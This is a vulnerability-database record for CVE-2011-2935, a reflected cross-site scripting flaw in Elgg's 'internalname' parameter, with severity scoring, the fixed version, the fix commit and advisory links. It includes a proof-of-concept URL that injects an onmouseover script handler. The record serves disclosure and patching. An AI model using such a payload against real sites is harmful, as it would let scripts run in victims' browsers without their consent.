{"id":"CVE-2011-2935","aliases":[],"url":"https://o3.security/vulnerability/CVE-2011-2935","summary":"Elgg Reflected XSS Vulnerability","details":"### VULNERABILITY DESCRIPTION\nThe `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser\n\n### PROOF-OF-CONCEPT/EXPLOIT\n```http\nhttp://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22\n```","published":"2022-04-22T00:24:11Z","modified":"2024-01-12T22:26:37.605394Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Packagist","name":"elgg/elgg","fixedVersion":"1.7.11"}],"fix":{"url":"https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04","label":"Elgg/Elgg@2843b4f"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2011-2935"},{"type":"WEB","url":"https://github.com/Elgg/Elgg/issues/3544"},{"type":"WEB","url":"https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04"},{"type":"PACKAGE","url":"https://github.com/Elgg/Elgg"},{"type":"WEB","url":"https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2011-2935"},{"type":"WEB","url":"https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released"},{"type":"WEB","url":"http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2024-01-12T22:26:37.605394Z"}}